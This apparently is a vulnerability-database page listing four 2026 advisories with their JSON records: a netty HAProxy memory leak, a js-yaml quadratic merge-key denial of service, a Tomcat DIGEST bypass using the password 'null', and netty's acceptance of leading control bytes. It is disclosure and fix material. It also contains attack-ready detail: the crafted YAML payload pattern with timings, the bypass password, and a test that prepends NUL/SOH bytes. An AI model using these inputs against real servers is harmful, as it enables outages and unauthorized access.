The HAProxy PROXY protocol v2 codec in netty leaks native or heap memory on every connection when a client sends a syntactically valid header containing nested PP2_TYPE_SSL TLVs (type-length-value records) at depth two or greater. The leak occurs on the successful parse path — no exception is thrown, the message fires downstream, the decoder removes itself, and the application releases the HAProxyMessage normally. Yet the underlying cumulation buffer (a pooled, potentially direct ByteBuf allocated by the channel) remains permanently pinned.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48059"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-401"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T20:19:27Z",
"nvd_published_at": "2026-06-12T16:16:30Z",
"severity": "HIGH"
},
"details": "### Impact\nThe HAProxy PROXY protocol v2 codec in netty leaks native or heap memory on every connection when a client sends a syntactically valid header containing nested `PP2_TYPE_SSL` TLVs (type-length-value records) at depth two or greater. The leak occurs on the successful parse path \u2014 no exception is thrown, the message fires downstream, the decoder removes itself, and the application releases the `HAProxyMessage` normally. Yet the underlying cumulation buffer (a pooled, potentially direct `ByteBuf` allocated by the channel) remains permanently pinned.",
"id": "GHSA-h2qv-fj59-j46j",
"modified": "2026-08-13T15:34:09Z",
"published": "2026-06-11T20:19:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-h2qv-fj59-j46j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48059"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48059.json"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488437"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-48059"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54435"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53806"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53644"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50085"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48151"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26586"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26018"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26017"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty HAProxy: Unbalanced Reference Count in Nested PP2_TYPE_SSL TLV Parsing Leads to Memory Exhaustion"
}
GHSA-H67P-54HQ-RP68
Vulnerability from github – Published: 2026-06-15 17:15 – Updated: 2026-06-29 15:05Summary
A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.
Details
The issue is in merge handling inside lib/loader.js:
storeMappingPair(...)iterates every element of a merge sequence when key tag istag:yaml.org,2002:merge.- For each element, it calls
mergeMappings(...). mergeMappings(...)computesObject.keys(source)and performs_hasOwnProperty.call(destination, key)checks for each key.
When input is of the form:
a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [a, a, a, ... repeated M times ...]} all a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...)
Root cause
File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366
if (keyTag === 'tag:yaml.org,2002:merge') {
if (Array.isArray(valueNode)) {
for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
mergeMappings(state, _result, valueNode[index], overridableKeys);
}
} else {
mergeMappings(state, _result, valueNode, overridableKeys);
}
}
When the merge value is a sequence (YAML 1.1 <<: [ a, a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does
sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
key = sourceKeys[index];
if (!_hasOwnProperty.call(destination, key)) {
setProperty(destination, key, source[key]);
overridableKeys[key] = true;
}
}
Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs:
- one Object.keys(source) call (O(K))
- K _hasOwnProperty.call checks on the destination
Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge.
YAML semantics for <<: are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.
PoC
Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [a, a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.
Impact
This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.
Suggested fix:
Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics:
dedupe in storeMappingPair:
if (keyTag === 'tag:yaml.org,2002:merge') {
if (Array.isArray(valueNode)) {
var seen = new Set();
for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
var src = valueNode[index];
if (seen.has(src)) continue; // idempotent; skip redundant alias
seen.add(src);
mergeMappings(state, _result, src, overridableKeys);
}
} else {
mergeMappings(state, _result, valueNode, overridableKeys);
}
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53550"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:15:07Z",
"nvd_published_at": "2026-06-22T16:16:38Z",
"severity": "MODERATE"
},
"details": "### Summary\nA crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`\u003c\u003c`) by repeating the same alias many times in a merge sequence. \nThis causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.\n\n### Details\nThe issue is in merge handling inside `lib/loader.js`:\n\n- `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`.\n- For each element, it calls `mergeMappings(...)`.\n- `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key.\n\nWhen input is of the form:\n\na: \u0026a {k0:0, k1:0, ..., kK:0}\nb: {\u003c\u003c: [*a, *a, *a, ... repeated M times ...]}\nall *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.\nResulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.\nRelevant code path:\nlib/loader.js in storeMappingPair(...) merge branch (keyTag === \u0027tag:yaml.org,2002:merge\u0027)\nlib/loader.js mergeMappings(...)\n\n\n### Root cause\nFile: lib/loader.js\nFunction: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,\n valueNode, startLine, startLineStart, startPos)\nLines: ~359-366\n\n if (keyTag === \u0027tag:yaml.org,2002:merge\u0027) {\n if (Array.isArray(valueNode)) {\n for (index = 0, quantity = valueNode.length; index \u003c quantity; index += 1) {\n mergeMappings(state, _result, valueNode[index], overridableKeys);\n }\n } else {\n mergeMappings(state, _result, valueNode, overridableKeys);\n }\n }\n\nWhen the merge value is a sequence (YAML 1.1 \u003c\u003c: [ *a, *a, ... ]), each element\nis handed to mergeMappings() without deduplication. mergeMappings() then does\n\n sourceKeys = Object.keys(source);\n for (index = 0; index \u003c sourceKeys.length; index += 1) {\n key = sourceKeys[index];\n if (!_hasOwnProperty.call(destination, key)) {\n setProperty(destination, key, source[key]);\n overridableKeys[key] = true;\n }\n }\n\nEvery alias reference in the sequence resolves (by design) to the SAME object\nvia state.anchorMap. After the first merge, every subsequent merge of that same\nreference is a pure no-op semantically, but still performs:\n\n * one Object.keys(source) call (O(K))\n * K _hasOwnProperty.call checks on the destination\n\nTotal: M * K hasOwnProperty checks + M Object.keys allocations, while the final\nobject and all observable side effects are identical to a single merge.\n\nYAML semantics for `\u003c\u003c:` are idempotent and commutative over duplicate sources,\nso collapsing duplicates preserves behavior exactly; this isn\u0027t a spec trade-off.\n\n\n### PoC\nEnvironment:\njs-yaml version: 4.1.1\nNode.js: v24.5.0\nPlatform: arm64 macOS (reproduced consistently)\nReproduction script:\nCreate many keys in one anchored map (\u0026a).\nMerge that same alias repeatedly via \u003c\u003c: [*a, *a, ...].\nMeasure parse time and compare with control payload using single merge (\u003c\u003c: *a).\nObserved repeated runs (same machine):\nK=M=1000, input 9,909 bytes: ~33\u201336 ms\nK=M=2000, input 20,909 bytes: ~121\u2013123 ms\nK=M=4000, input 42,909 bytes: ~524\u2013537 ms\nK=M=6000, input 64,909 bytes: ~1,608\u20131,829 ms\nK=M=8000, input 86,909 bytes: ~3,395\u20133,565 ms\nControl (single merge, similar key counts):\nK=2000: ~1\u20132 ms\nK=4000: ~3 ms\nK=8000: ~5 ms\nAlso verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.\n\n\n### Impact\nThis is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).\nAny service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.\n\n### Suggested fix:\nDedupe the merge source list by reference before invoking mergeMappings. Any of\nthe following are minimal and preserve YAML 1.1 merge semantics:\n\ndedupe in storeMappingPair:\n\n if (keyTag === \u0027tag:yaml.org,2002:merge\u0027) {\n if (Array.isArray(valueNode)) {\n var seen = new Set();\n for (index = 0, quantity = valueNode.length; index \u003c quantity; index += 1) {\n var src = valueNode[index];\n if (seen.has(src)) continue; // idempotent; skip redundant alias\n seen.add(src);\n mergeMappings(state, _result, src, overridableKeys);\n }\n } else {\n mergeMappings(state, _result, valueNode, overridableKeys);\n }\n }",
"id": "GHSA-h67p-54hq-rp68",
"modified": "2026-06-29T15:05:57Z",
"published": "2026-06-15T17:15:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53550"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases"
}
GHSA-H6FC-48RJ-7QQH
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-18 20:38Versions Affected: Apache Tomcat 11.0.0-M1 to 11.0.21 Apache Tomcat 10.1.0-M1 to 10.1.54 Apache Tomcat 9.0.0.M1 to 9.0.117 Older, unsupported versions may also be affected
Description: When DIGEST authentication was configured, any user not known to the configured Realm would be authenticated if they presented the password "null".
Mitigation: Users of the affected versions should apply one of the following mitigations: - Upgrade to Apache Tomcat 11.0.22 or later - Upgrade to Apache Tomcat 10.1.55 or later - Upgrade to Apache Tomcat 9.0.118 or later
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.118"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.55"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43512"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:38:27Z",
"nvd_published_at": "2026-05-12T16:16:17Z",
"severity": "CRITICAL"
},
"details": "Versions Affected:\nApache Tomcat 11.0.0-M1 to 11.0.21\nApache Tomcat 10.1.0-M1 to 10.1.54\nApache Tomcat 9.0.0.M1 to 9.0.117\nOlder, unsupported versions may also be affected\n\nDescription:\nWhen DIGEST authentication was configured, any user not known to the\nconfigured Realm would be authenticated if they presented the password\n\"null\".\n\nMitigation:\nUsers of the affected versions should apply one of the following\nmitigations:\n- Upgrade to Apache Tomcat 11.0.22 or later\n- Upgrade to Apache Tomcat 10.1.55 or later\n- Upgrade to Apache Tomcat 9.0.118 or later",
"id": "GHSA-h6fc-48rj-7qqh",
"modified": "2026-05-18T20:38:28Z",
"published": "2026-05-12T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43512"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/3d4d3fae07a6cd9c2eb193c5491001740ec64448"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/6565a6cb6499e56fe2f34457cec99f9d1c4f39e9"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/a99c355e8199adbfd67c9a1fffbd85b810b196cd"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/7x09x7o12solvclslw3sz0288xc8wx73"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/12/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Tomcat - Digest authenticator will authenticate any unknown user"
}
GHSA-HVCG-QMG6-JM4C
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46Summary
Before reading the first request-line, HttpObjectDecoder skips every byte for which
Character.isISOControl(b) is true (0x00–0x1F and 0x7F) as well as all whitespace.
RFC 9112 §2.2 only asks servers to ignore empty CRLF lines preceding the request-line —
a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.
Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes
significantly beyond this, and can be exploited for request-boundary confusion in pipelined
or multiplexed transports where a front-end component treats those bytes differently.
Affected Code
| File | Lines | Role |
|---|---|---|
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1298–1313 | ISO_CONTROL_OR_WHITESPACE static initialiser — marks all ISO control chars |
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1307–1313 | SKIP_CONTROL_CHARS_BYTES ByteProcessor — skips the entire set |
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java |
1275–1289 | LineParser.skipControlChars — advances readerIndex past all matching bytes |
Specification Analysis
RFC 9112 §2.2 — Message Parsing
In the interest of robustness, a server that is expecting to receive and parse a request-line SHOULD ignore at least one empty line (CRLF) received prior to the request-line.
An HTTP/1.1 user agent MUST NOT preface or follow a request with an extra CRLF.
Deviation
The RFC names a single permitted exception: an empty line (bare CRLF, i.e. the two-byte
sequence \r\n). The ISO_CONTROL_OR_WHITESPACE table is initialised as:
for (byte b = Byte.MIN_VALUE; b < Byte.MAX_VALUE; b++) {
ISO_CONTROL_OR_WHITESPACE[128 + b] =
Character.isISOControl(b) || isWhitespace(b);
}
Character.isISOControl returns true for 0x00–0x1F and 0x7F. This includes NUL
(0x00), SOH (0x01), STX (0x02), BEL (0x07), DEL (0x7F), and every other non-CRLF
control character. The SKIP_CONTROL_CHARS state runs this scan unconditionally before the
first READ_INITIAL, meaning any sequence of such bytes prepended to a request is silently
consumed.
A load balancer or TLS terminator that does not perform the same scan sees a different message boundary than Netty does, which is the basis of a request-desync / smuggling attack.
Suggested Unit Test
Add to HttpRequestDecoderTest.java.
@Test
public void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {
// RFC 9112 §2.2: servers SHOULD ignore "at least one empty line (CRLF)" before the
// request-line. Non-CRLF control bytes are not part of this robustness allowance
// and must not be silently swallowed.
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
ByteBuf buf = Unpooled.buffer();
buf.writeByte(0x00); // NUL — not an empty CRLF line
buf.writeByte(0x01); // SOH — not an empty CRLF line
buf.writeCharSequence(
"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
CharsetUtil.US_ASCII);
channel.writeInbound(buf);
HttpRequest req = channel.readInbound();
// Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are
// silently skipped; the request decodes successfully and isFailure() == false.
//
// RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must
// cause a parse error — isFailure() == true.
assertTrue(
req.decoderResult().isFailure(),
"Non-CRLF control bytes before the request-line must not be silently skipped " +
"(RFC 9112 §2.2 allows only empty CRLF lines)");
assertFalse(channel.finish());
}
Current behaviour (unfixed): skipControlChars advances past 0x00 and 0x01 because
both are in ISO_CONTROL_OR_WHITESPACE; the request parses normally, isFailure() is
false → test fails.
Expected behaviour after fix: only CRLF empty lines are tolerated; non-CRLF control
bytes produce an error, isFailure() is true → test passes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50020"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:46:36Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nBefore reading the first request-line, `HttpObjectDecoder` skips every byte for which\n`Character.isISOControl(b)` is `true` (0x00\u20130x1F and 0x7F) as well as all whitespace.\nRFC 9112 \u00a72.2 only asks servers to ignore **empty CRLF lines** preceding the request-line \u2014\na carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.\nSilently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes\nsignificantly beyond this, and can be exploited for request-boundary confusion in pipelined\nor multiplexed transports where a front-end component treats those bytes differently.\n\n## Affected Code\n\n| File | Lines | Role |\n|------|-------|------|\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1298\u20131313 | `ISO_CONTROL_OR_WHITESPACE` static initialiser \u2014 marks all ISO control chars |\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1307\u20131313 | `SKIP_CONTROL_CHARS_BYTES` `ByteProcessor` \u2014 skips the entire set |\n| `codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java` | 1275\u20131289 | `LineParser.skipControlChars` \u2014 advances `readerIndex` past all matching bytes |\n\n## Specification Analysis\n\n### RFC 9112 \u00a72.2 \u2014 Message Parsing\n\n\u003e In the interest of robustness, a server that is expecting to receive and parse a\n\u003e request-line **SHOULD ignore at least one empty line (CRLF)** received prior to the\n\u003e request-line.\n\n\u003e An HTTP/1.1 user agent **MUST NOT** preface or follow a request with an extra CRLF.\n\n### Deviation\n\nThe RFC names a single permitted exception: an **empty line** (bare CRLF, i.e. the two-byte\nsequence `\\r\\n`). The `ISO_CONTROL_OR_WHITESPACE` table is initialised as:\n\n```java\nfor (byte b = Byte.MIN_VALUE; b \u003c Byte.MAX_VALUE; b++) {\n ISO_CONTROL_OR_WHITESPACE[128 + b] =\n Character.isISOControl(b) || isWhitespace(b);\n}\n```\n\n`Character.isISOControl` returns `true` for `0x00`\u2013`0x1F` and `0x7F`. This includes NUL\n(`0x00`), SOH (`0x01`), STX (`0x02`), BEL (`0x07`), DEL (`0x7F`), and every other non-CRLF\ncontrol character. The `SKIP_CONTROL_CHARS` state runs this scan unconditionally before the\nfirst `READ_INITIAL`, meaning any sequence of such bytes prepended to a request is silently\nconsumed.\n\nA load balancer or TLS terminator that does not perform the same scan sees a different\nmessage boundary than Netty does, which is the basis of a request-desync / smuggling attack.\n\n## Suggested Unit Test\n\nAdd to `HttpRequestDecoderTest.java`.\n\n```java\n@Test\npublic void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {\n // RFC 9112 \u00a72.2: servers SHOULD ignore \"at least one empty line (CRLF)\" before the\n // request-line. Non-CRLF control bytes are not part of this robustness allowance\n // and must not be silently swallowed.\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n\n ByteBuf buf = Unpooled.buffer();\n buf.writeByte(0x00); // NUL \u2014 not an empty CRLF line\n buf.writeByte(0x01); // SOH \u2014 not an empty CRLF line\n buf.writeCharSequence(\n \"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n\",\n CharsetUtil.US_ASCII);\n\n channel.writeInbound(buf);\n HttpRequest req = channel.readInbound();\n\n // Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are\n // silently skipped; the request decodes successfully and isFailure() == false.\n //\n // RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must\n // cause a parse error \u2014 isFailure() == true.\n assertTrue(\n req.decoderResult().isFailure(),\n \"Non-CRLF control bytes before the request-line must not be silently skipped \" +\n \"(RFC 9112 \u00a72.2 allows only empty CRLF lines)\");\n\n assertFalse(channel.finish());\n}\n```\n\n**Current behaviour (unfixed):** `skipControlChars` advances past `0x00` and `0x01` because\nboth are in `ISO_CONTROL_OR_WHITESPACE`; the request parses normally, `isFailure()` is\n`false` \u2192 test **fails**.\n\n**Expected behaviour after fix:** only CRLF empty lines are tolerated; non-CRLF control\nbytes produce an error, `isFailure()` is `true` \u2192 test **passes**.",
"id": "GHSA-hvcg-qmg6-jm4c",
"modified": "2026-06-15T20:46:36Z",
"published": "2026-06-15T20:46:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hvcg-qmg6-jm4c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50020"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.